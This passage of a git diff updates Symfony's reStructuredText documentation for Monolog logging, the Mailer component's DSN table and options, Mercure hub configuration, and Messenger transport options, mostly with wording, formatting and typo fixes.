+passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
+and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger`.
+
+The :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` class is available through the ``logger`` service.
+To pass your configuration, you can :ref:`override the "logger" service definition <service-psr4-loader>`.
+
+For more information about ``ConsoleLogger``, see :doc:`/components/console/logger`.
 
 Logging a Message
 -----------------
@@ -155,6 +161,7 @@ to write logs using the :phpfunction:`syslog` function:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog): void {
@@ -163,13 +170,13 @@ to write logs using the :phpfunction:`syslog` function:
                 ->type('stream')
                 // log to var/logs/(environment).log
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                // log *all* messages (debug is lowest level)
-                ->level('debug');
+                // log *all* messages (LogLevel::DEBUG is lowest level)
+                ->level(LogLevel::DEBUG);
 
             $monolog->handler('syslog_handler')
                 ->type('syslog')
                 // log error-level messages and higher
-                ->level('error');
+                ->level(LogLevel::ERROR);
         };
 
 This defines a *stack* of handlers and each handler is called in the order that it's
@@ -254,13 +261,14 @@ one of the messages reaches an ``action_level``. Take this example:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog): void {
             $monolog->handler('filter_for_errors')
                 ->type('fingers_crossed')
                 // if *one* log is error or higher, pass *all* to file_log
-                ->actionLevel('error')
+                ->actionLevel(LogLevel::ERROR)
                 ->handler('file_log')
             ;
 
@@ -268,17 +276,17 @@ one of the messages reaches an ``action_level``. Take this example:
             $monolog->handler('file_log')
                 ->type('stream')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                ->level('debug')
+                ->level(LogLevel::DEBUG)
             ;
 
             // still passed *all* logs, and still only logs error or higher
             $monolog->handler('syslog_handler')
                 ->type('syslog')
-                ->level('error')
+                ->level(LogLevel::ERROR)
             ;
         };
 
-Now, if even one log entry has an ``error`` level or higher, then *all* log entries
+Now, if even one log entry has an ``LogLevel::ERROR`` level or higher, then *all* log entries
 for that request are saved to a file via the ``file_log`` handler. That means that
 your log file will contain *all* the details about the problematic request - making
 debugging much easier!
@@ -349,13 +357,14 @@ option of your handler to ``rotating_file``:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog): void {
             $monolog->handler('main')
                 ->type('rotating_file')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
-                ->level('debug')
+                ->level(LogLevel::DEBUG)
                 // max number of log files to keep
                 // defaults to zero, which means infinite files
                 ->maxFiles(10);
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 9ad3a2f054c..3cac1d01ba5 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -95,7 +95,7 @@ from the ``security`` channel. The following example does that only in the
             }
         };
 
-.. caution::
+.. warning::
 
     The ``channels`` configuration only works for top-level handlers. Handlers
     that are nested inside a group, buffer, filter, fingers crossed or other
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index e3efc9f0262..67bf0f5acae 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -47,6 +47,7 @@ The example above could then be rewritten as::
         public function __construct(
             private LoggerInterface $logger,
         ) {
+            parent::__construct();
         }
 
         protected function execute(InputInterface $input, OutputInterface $output): int
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 6bc58b3358d..99a416913c8 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -292,7 +292,7 @@ get logged on the server as well as the emails being sent:
                 ->handler('grouped')
             ;
 
-            $monolog->handler('group')
+            $monolog->handler('grouped')
                 ->type('group')
                 ->members(['streamed', 'deduplicated'])
             ;
@@ -322,7 +322,7 @@ get logged on the server as well as the emails being sent:
             ;
         };
 
-This uses the ``group`` handler to send the messages to the two
+This uses the ``grouped`` handler to send the messages to the two
 group members, the ``deduplicated`` and the ``stream`` handlers. The messages will
 now be both written to the log file and emailed.
 
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 810abdd5b9f..ee9fb16c01c 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -57,7 +57,7 @@ logging these HTTP codes based on the MonologBundle configuration:
             $mainHandler->excludedHttpCode()->code(404);
         };
 
-.. caution::
+.. warning::
 
     Combining ``excluded_http_codes`` with a ``passthru_level`` lower than
     ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
diff --git a/mailer.rst b/mailer.rst
index 1e14879ae0d..06feb1e5c29 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -61,10 +61,10 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             $framework->mailer()->dsn(env('MAILER_DSN'));
         };
 
-.. caution::
+.. warning::
 
     If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
@@ -82,7 +82,7 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
 ============  ========================================  ==============================================================
 
-.. caution::
+.. warning::
 
     When using ``native://default``, if ``php.ini`` uses the ``sendmail -t``
     command, you won't have error reporting and ``Bcc`` headers won't be removed.
@@ -107,7 +107,7 @@ Service               Install with                                    Webhook su
 `Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
 `Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
-`MailerSend`_         ``composer require symfony/mailer-send-mailer``
+`MailerSend`_         ``composer require symfony/mailer-send-mailer`` yes
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Resend`_             ``composer require symfony/resend-mailer``      yes
@@ -164,78 +164,78 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-+------------------------+-----------------------------------------------------+
-| Provider               | Formats                                             |
-+========================+=====================================================+
-| `Amazon SES`_          | - SMTP ses+smtp://USERNAME:PASSWORD@default         |
-|                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
-|                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
-+------------------------+-----------------------------------------------------+
-| `Azure`_               | - API azure+api://ACS_RESOURCE_NAME:KEY@default     |
-+------------------------+-----------------------------------------------------+
-| `Brevo`_               | - SMTP brevo+smtp://USERNAME:PASSWORD@default       |
-|                        | - HTTP n/a                                          |
-|                        | - API brevo+api://KEY@default                       |
-+------------------------+-----------------------------------------------------+
-| `Google Gmail`_        | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default   |
-|                        | - HTTP n/a                                          |
-|                        | - API n/a                                           |
-+------------------------+-----------------------------------------------------+
-| `Infobip`_             | - SMTP infobip+smtp://KEY@default                   |
-|                        | - HTTP n/a                                          |
-|                        | - API infobip+api://KEY@BASE_URL                    |
-+------------------------+-----------------------------------------------------+
-| `Mandrill`_            | - SMTP mandrill+smtp://USERNAME:PASSWORD@default    |
-|                        | - HTTP mandrill+https://KEY@default                 |
-|                        | - API mandrill+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
-| `MailerSend`_          | - SMTP mailersend+smtp://KEY@default                |
-|                        | - HTTP n/a                                          |
-|                        | - API mailersend+api://KEY@BASE_URL                 |
-+------------------------+-----------------------------------------------------+
-| `Mailgun`_             | - SMTP mailgun+smtp://USERNAME:PASSWORD@default     |
-|                        | - HTTP mailgun+https://KEY:DOMAIN@default           |
-|                        | - API mailgun+api://KEY:DOMAIN@default              |
-+------------------------+-----------------------------------------------------+
-| `Mailjet`_             | - SMTP mailjet+smtp://ACCESS_KEY:SECRET_KEY@default |
-|                        | - HTTP n/a                                          |
-|                        | - API mailjet+api://ACCESS_KEY:SECRET_KEY@default   |
-+------------------------+-----------------------------------------------------+
-| `MailPace`_            | - SMTP mailpace+api://API_TOKEN@default             |
-|                        | - HTTP n/a                                          |
-|                        | - API mailpace+api://API_TOKEN@default              |
-+------------------------+-----------------------------------------------------+
-| `Postmark`_            | - SMTP postmark+smtp://ID@default                   |
-|                        | - HTTP n/a                                          |
-|                        | - API postmark+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
-| `Resend`_              | - SMTP resend+smtp://resend:API_KEY@default         |
-|                        | - HTTP n/a                                          |
-|                        | - API resend+api://API_KEY@default                  |
-+------------------------+-----------------------------------------------------+
-| `Scaleway`_            | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default   |
-|                        | - HTTP n/a                                          |
-|                        | - API scaleway+api://PROJECT_ID:API_KEY@default     |
-+------------------------+-----------------------------------------------------+
-| `Sendgrid`_            | - SMTP sendgrid+smtp://KEY@default                  |
-|                        | - HTTP n/a                                          |
-|                        | - API sendgrid+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
-
-.. caution::
++------------------------+---------------------------------------------------------+
+| Provider               | Formats                                                 |
++========================+=========================================================+
+| `Amazon SES`_          | - SMTP ``ses+smtp://USERNAME:PASSWORD@default``         |
+|                        | - HTTP ``ses+https://ACCESS_KEY:SECRET_KEY@default``    |
+|                        | - API ``ses+api://ACCESS_KEY:SECRET_KEY@default``       |
++------------------------+---------------------------------------------------------+
+| `Azure`_               | - API ``azure+api://ACS_RESOURCE_NAME:KEY@default``     |
++------------------------+---------------------------------------------------------+
+| `Brevo`_               | - SMTP ``brevo+smtp://USERNAME:PASSWORD@default``       |
+|                        | - HTTP n/a                                              |
+|                        | - API ``brevo+api://KEY@default``                       |
++------------------------+---------------------------------------------------------+
+| `Google Gmail`_        | - SMTP ``gmail+smtp://USERNAME:APP-PASSWORD@default``   |
+|                        | - HTTP n/a                                              |
+|                        | - API n/a                                               |
++------------------------+---------------------------------------------------------+
+| `Infobip`_             | - SMTP ``infobip+smtp://KEY@default``                   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``infobip+api://KEY@BASE_URL``                    |
++------------------------+---------------------------------------------------------+
+| `Mandrill`_            | - SMTP ``mandrill+smtp://USERNAME:PASSWORD@default``    |
+|                        | - HTTP ``mandrill+https://KEY@default``                 |
+|                        | - API ``mandrill+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
+| `MailerSend`_          | - SMTP ``mailersend+smtp://KEY@default``                |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailersend+api://KEY@BASE_URL``                 |
++------------------------+---------------------------------------------------------+
+| `Mailgun`_             | - SMTP ``mailgun+smtp://USERNAME:PASSWORD@default``     |
+|                        | - HTTP ``mailgun+https://KEY:DOMAIN@default``           |
+|                        | - API ``mailgun+api://KEY:DOMAIN@default``              |
++------------------------+---------------------------------------------------------+
+| `Mailjet`_             | - SMTP ``mailjet+smtp://ACCESS_KEY:SECRET_KEY@default`` |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailjet+api://ACCESS_KEY:SECRET_KEY@default``   |
++------------------------+---------------------------------------------------------+
+| `MailPace`_            | - SMTP ``mailpace+api://API_TOKEN@default``             |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailpace+api://API_TOKEN@default``              |
++------------------------+---------------------------------------------------------+
+| `Postmark`_            | - SMTP ``postmark+smtp://ID@default``                   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``postmark+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
+| `Resend`_              | - SMTP ``resend+smtp://resend:API_KEY@default``         |
+|                        | - HTTP n/a                                              |
+|                        | - API ``resend+api://API_KEY@default``                  |
++------------------------+---------------------------------------------------------+
+| `Scaleway`_            | - SMTP ``scaleway+smtp://PROJECT_ID:API_KEY@default``   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``scaleway+api://PROJECT_ID:API_KEY@default``     |
++------------------------+---------------------------------------------------------+
+| `Sendgrid`_            | - SMTP ``sendgrid+smtp://KEY@default``                  |
+|                        | - HTTP n/a                                              |
+|                        | - API ``sendgrid+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
+
+.. warning::
 
     If your credentials contain special characters, you must URL-encode them.
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
-.. caution::
+.. warning::
 
     If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-.. caution::
+.. warning::
 
     If you send custom headers when using the `Amazon SES`_ transport (to receive
     them later via a webhook), make sure to use the ``ses+https`` provider because
@@ -276,7 +276,7 @@ party provider:
 .. note::
 
     The specific transports, e.g. ``mailgun+smtp`` are designed to work without any manual configuration.
-    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp` transports.
+    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp`` transports.
     If you need to change the port, use the ``smtp`` transport instead, like so:
 
     .. code-block:: env
@@ -361,7 +361,7 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
 
-.. caution::
+.. warning::
 
     It's not recommended to disable TLS while connecting to an SMTP server over
     the Internet, but it can be useful when both the application and the SMTP
@@ -665,8 +665,8 @@ file or stream::
 Use the ``asInline()`` method to embed the content instead of attaching it.
 
 The second optional argument of both methods is the image name ("Content-ID" in
-the MIME standard). Its value is an arbitrary string used later to reference the
-images inside the HTML contents::
+the MIME standard). Its value is an arbitrary string that must be unique in each
+email message and is used later to reference the images inside the HTML contents::
 
     $email = (new Email())
         // ...
@@ -680,16 +680,18 @@ images inside the HTML contents::
         ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
+The actual Content-ID value present in the e-mail source will be randomly generated by Symfony.
 You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>`
 method to define a custom Content-ID for the image and use it as its ``cid`` reference::
 
     $part = new DataPart(new File('/path/to/images/signature.gif'));
-    $part->setContentId('footer-signature');
+    // according to the spec, the Content-ID value must include at least one '@' character
+    $part->setContentId('footer-signature@my-app');
 
     $email = (new Email())
         // ...
         ->addPart($part->asInline())
-        ->html('... <img src="cid:footer-signature"> ...')
+        ->html('... <img src="cid:footer-signature@my-app"> ...')
     ;
 
 .. _mailer-configure-email-globally:
@@ -760,7 +762,7 @@ and headers.
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 
-.. caution::
+.. warning::
 
     Some third-party providers don't support the usage of keywords like ``from``
     in the ``headers``. Check out your provider's documentation before setting
@@ -1183,7 +1185,7 @@ Before signing/encrypting messages, make sure to have:
     When using OpenSSL to generate certificates, make sure to add the
     ``-addtrust emailProtection`` command option.
 
-.. caution::
+.. warning::
 
     Signing and encrypting messages require their contents to be fully rendered.
     For example, the content of :ref:`templated emails <mailer-twig>` is rendered
@@ -1208,7 +1210,7 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA).
 The email recipient must have the CA certificate in the list of trusted issuers
 in order to verify the signature.
 
-.. caution::
+.. warning::
 
     If you use message signature, sending to ``Bcc`` will be removed from the
     message. If you need to send a message to multiple recipients, you need
@@ -1677,14 +1679,10 @@ which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
-    use Symfony\Component\Mailer\SentMessage;
 
     public function onMessage(SentMessageEvent $event): void
     {
         $message = $event->getMessage();
-        if (!$message instanceof SentMessage) {
-            return;
-        }
 
         // do something with the message
     }
@@ -1701,7 +1699,7 @@ FailedMessageEvent
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent`
 
-``FailedMessageEvent`` allows acting on the the initial message in case of a failure::
+``FailedMessageEvent`` allows acting on the initial message in case of a failure::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;
@@ -1852,6 +1850,75 @@ a specific address, instead of the *real* address:
             ;
         };
 
+Use the ``allowed_recipients`` option to specify exceptions to the behavior defined
+in the ``recipients`` option; allowing emails directed to these specific recipients
+to maintain their original destination:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        when@dev:
+            framework:
+                mailer:
+                    envelope:
+                        recipients: ['youremail@example.com']
+                        allowed_recipients:
+                            - 'internal@example.com'
+                            # you can also use regular expression to define allowed recipients
+                            - 'internal-.*@example.(com|fr)'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:recipient>youremail@example.com</framework:recipient>
+                        <framework:allowed-recipient>internal@example.com</framework:allowed-recipient>
+                        <!-- you can also use regular expression to define allowed recipients -->
+                        <framework:allowed-recipient>internal-.*@example.(com|fr)</framework:allowed-recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->mailer()
+                ->envelope()
+                    ->recipients(['youremail@example.com'])
+                    ->allowedRecipients([
+                        'internal@example.com',
+                        // you can also use regular expression to define allowed recipients
+                        'internal-.*@example.(com|fr)',
+                    ])
+            ;
+        };
+
+With this configuration, all emails will be sent to ``youremail@example.com``,
+except for those sent to ``internal@example.com``, ``internal-monitoring@example.fr``,
+etc., which will receive emails as usual.
+
+.. versionadded:: 7.1
+
+    The ``allowed_recipients`` option was introduced in Symfony 7.1.
+
 Write a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/mercure.rst b/mercure.rst
index cdaa4af41bb..42ad9798d3c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -48,13 +48,28 @@ Run this command to install the Mercure support:
 
     $ composer require mercure
 
+Running a Mercure Hub
+~~~~~~~~~~~~~~~~~~~~~
+
 To manage persistent connections, Mercure relies on a Hub: a dedicated server
 that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
+.. raw:: html
+
+    <object data="_images/mercure/hub.svg" type="image/svg+xml"
+        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
+    ></object>
+
+In production, you have to install a Mercure hub by yourself.
+An official and open source (AGPL) hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
+
 Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
-:ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
+:ref:`Flex <symfony-flex>` proposes to install a Mercure hub for development.
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
@@ -64,23 +79,7 @@ you must start it with the ``--no-tls`` option.
 
     $ symfony server:start --no-tls -d
 
-Running a Mercure Hub
-~~~~~~~~~~~~~~~~~~~~~
-
-.. raw:: html
-
-    <object data="_images/mercure/hub.svg" type="image/svg+xml"
-        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
-    ></object>
-
-If you use the Docker integration, a hub is already up and running,
-and you can go straight to the next section.
-
-Otherwise, and in production, you have to install a hub by yourself.
-An official and open source (AGPL) Hub based on the Caddy web server
-can be downloaded as a static binary from `Mercure.rocks`_.
-A Docker image, a Helm chart for Kubernetes
-and a managed, High Availability Hub are also provided.
+If you use the Docker integration, a hub is already up and running.
 
 Configuration
 -------------
@@ -131,11 +130,12 @@ MercureBundle provides a more advanced configuration:
         mercure:
             hubs:
                 default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
+                    url: '%env(string:MERCURE_URL)%'
+                    public_url: '%env(string:MERCURE_PUBLIC_URL)%'
                     jwt:
-                        secret: '!ChangeThisMercureHubJWTSecretKey!'
-                        publish: ['foo', 'https://example.com/foo']
-                        subscribe: ['bar', 'https://example.com/bar']
+                        secret: '%env(string:MERCURE_JWT_SECRET)%'
+                        publish: ['https://example.com/foo1', 'https://example.com/foo2']
+                        subscribe: ['https://example.com/bar1', 'https://example.com/bar2']
                         algorithm: 'hmac.sha256'
                         provider: 'My\Provider'
                         factory: 'My\Factory'
@@ -148,19 +148,20 @@ MercureBundle provides a more advanced configuration:
         <config>
             <hub
                 name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
+                url="%env(string:MERCURE_URL)%"
+                public_url="%env(string:MERCURE_PUBLIC_URL)%"
+            > <!-- public_url defaults to url -->
                 <jwt
-                    secret="!ChangeThisMercureHubJWTSecretKey!"
+                    secret="%env(string:MERCURE_JWT_SECRET)%"
                     algorithm="hmac.sha256"
                     provider="My\Provider"
                     factory="My\Factory"
                     value="my.jwt"
                 >
-                    <publish>foo</publish>
-                    <publish>https://example.com/foo</publish>
-                    <subscribe>bar</subscribe>
-                    <subscribe>https://example.com/bar</subscribe>
+                    <publish>https://example.com/foo1</publish>
+                    <publish>https://example.com/foo2</publish>
+                    <subscribe>https://example.com/bar1</subscribe>
+                    <subscribe>https://example.com/bar2</subscribe>
                 </jwt>
             </hub>
         </config>
@@ -171,11 +172,12 @@ MercureBundle provides a more advanced configuration:
         $container->loadFromExtension('mercure', [
             'hubs' => [
                 'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'url' => '%env(string:MERCURE_URL)%',
+                    'public_url' => '%env(string:MERCURE_PUBLIC_URL)%',
                     'jwt' => [
-                        'secret' => '!ChangeThisMercureHubJWTSecretKey!',
-                        'publish' => ['foo', 'https://example.com/foo'],
-                        'subscribe' => ['bar', 'https://example.com/bar'],
+                        'secret' => '%env(string:MERCURE_JWT_SECRET)%',
+                        'publish' => ['https://example.com/foo1', 'https://example.com/foo2'],
+                        'subscribe' => ['https://example.com/bar1', 'https://example.com/bar2'],
                         'algorithm' => 'hmac.sha256',
                         'provider' => 'My\Provider',
                         'factory' => 'My\Factory',
@@ -307,24 +309,24 @@ as patterns:
     }
     </script>
 
+However, on the client side (i.e. in JavaScript's ``EventSource``), there is no
+built-in way to know which topic a certain message originates from. If this (or
+any other meta information) is important to you, you need to include it in the
+message's data (e.g. by adding a key to the JSON, or a ``data-*`` attribute to
+the HTML).
+
 .. tip::
 
-    Google Chrome DevTools natively integrate a `practical UI`_ displaying in live
-    the received events:
+    Test if a URI Template matches a URL using `the online debugger`_
 
-    .. image:: /_images/mercure/chrome.png
-        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
-
-    To use it:
+.. tip::
 
-    * open the DevTools
-    * select the "Network" tab
-    * click on the request to the Mercure hub
-    * click on the "EventStream" sub-tab.
+    Google Chrome features a practical UI to display the received events:
 
-.. tip::
+    .. image:: /_images/mercure/chrome.png
+        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
 
-    Test if a URI Template match a URL using `the online debugger`_
+    In DevTools, select the "Network" tab, then click on the request to the Mercure hub, then on the "EventStream" sub-tab.
 
 Discovery
 ---------
@@ -446,7 +448,7 @@ Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
-.. caution::
+.. warning::
 
     To use the cookie authentication method, the Symfony app and the Hub
     must be served from the same domain (can be different sub-domains).
@@ -673,10 +675,11 @@ sent:
 .. code-block:: yaml
 
     # config/services_test.yaml
-    mercure.hub.default:
-        class: App\Tests\Functional\Stub\HubStub
+    services:
+        mercure.hub.default:
+            class: App\Tests\Functional\Stub\HubStub
 
-As MercureBundle support multiple hubs, you may have to replace
+As MercureBundle supports multiple hubs, you may have to replace
 the other service definitions accordingly.
 
 .. tip::
@@ -690,8 +693,6 @@ Debugging
 
     The WebProfiler panel was introduced in MercureBundle 0.2.
 
-Enable the panel in your configuration, as follows:
-
 MercureBundle is shipped with a debug panel. Install the Debug pack to
 enable it::
 
@@ -766,7 +767,6 @@ Going further
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
-.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
 .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket
diff --git a/messenger.rst b/messenger.rst
index 621a74e55f5..97829327d03 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -541,7 +541,7 @@ On production, there are a few important things to think about:
 
 **Use the Same Cache Between Deploys**
     If your deploy strategy involves the creation of new target directories, you
-    should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
+    should set a value for the :ref:`cache.prefix_seed <reference-cache-prefix-seed>`
     configuration option in order to use the same cache namespace between deployments.
     Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir``
     parameter as base for the namespace, which will lead to different namespaces
@@ -728,7 +728,7 @@ times:
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
-.. caution::
+.. warning::
 
     During a deployment, something might be unavailable (e.g. the
     database) causing the consumer to fail to start. In this situation,
@@ -745,7 +745,7 @@ If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
 file, which you can then refer to in ``messenger.yaml``
-(see the ref:`Redis section <messenger-redis-transport>` below):
+(see the :ref:`Redis section <messenger-redis-transport>` below):
 
 .. code-block:: ini
 
@@ -903,7 +903,7 @@ Rate Limited Transport
 ~~~~~~~~~~~~~~~~~~~~~~
 
 Sometimes you might need to rate limit your message worker. You can configure a
-rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
+rate limiter on a transport (requires the :doc:`RateLimiter component </rate_limiter>`)
 by setting its ``rate_limiter`` option:
 
 .. configuration-block::
@@ -950,7 +950,7 @@ by setting its ``rate_limiter`` option:
             ;
         };
 
-.. caution::
+.. warning::
 
     When a rate limiter is configured on a transport, it will block the whole
     worker when the limit is hit. You should make sure you configure a dedicated
@@ -1394,65 +1394,115 @@ the exchange, queues binding keys and more. See the documentation on
 
 The transport has a number of options:
 
-============================================  =================================================  ===================================
-     Option                                   Description                                        Default
-============================================  =================================================  ===================================
-``auto_setup``                                Whether the exchanges and queues should be         ``true``
-                                              created automatically during send / get.
-``cacert``                                    Path to the CA cert file in PEM format.
-``cert``                                      Path to the client certificate in PEM format.
-``channel_max``                               Specifies highest channel number that the server
-                                              permits. 0 means standard extension limit
-``confirm_timeout``                           Timeout in seconds for confirmation; if none
-                                              specified, transport will not wait for message
-                                              confirmation. Note: 0 or greater seconds. May be
-                                              fractional.
-``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
-                                              May be fractional.
-``frame_max``                                 The largest frame size that the server proposes
-                                              for the connection, including frame header and
-                                              end-byte. 0 means standard extension limit
-                                              (depends on librabbimq default frame size limit)
-``heartbeat``                                 The delay, in seconds, of the connection
-                                              heartbeat that the server wants. 0 means the
-                                              server does not want a heartbeat. Note,
-                                              librabbitmq has limited heartbeat support, which
-                                              means heartbeats checked only during blocking
-                                              calls.
-``host``                                      Hostname of the AMQP service
-``key``                                       Path to the client key in PEM format.
-``login``                                     Username to use to connect the AMQP service
-``password``                                  Password to use to connect to the AMQP service
-``persistent``                                                                                   ``'false'``
-``port``                                      Port of the AMQP service
-``read_timeout``                              Timeout in for income activity. Note: 0 or
-                                              greater seconds. May be fractional.
+``auto_setup`` (default: ``true``)
+    Whether the exchanges and queues should be created automatically during
+    send / get.
+
+``cacert``
+    Path to the CA cert file in PEM format.
+
+``cert``
+    Path to the client certificate in PEM format.
+
+``channel_max``
+    Specifies highest channel number that the server permits. 0 means standard
+    extension limit
+
+``confirm_timeout``
+    Timeout in seconds for confirmation; if none specified, transport will not
+    wait for message confirmation. Note: 0 or greater seconds. May be
+    fractional.
+
+``connect_timeout``
+    Connection timeout. Note: 0 or greater seconds. May be fractional.
+
+``frame_max``
+    The largest frame size that the server proposes for the connection,
+    including frame header and end-byte. 0 means standard extension limit
+    (depends on librabbimq default frame size limit)
+
+``heartbeat``
+    The delay, in seconds, of the connection heartbeat that the server wants. 0
+    means the server does not want a heartbeat. Note, librabbitmq has limited
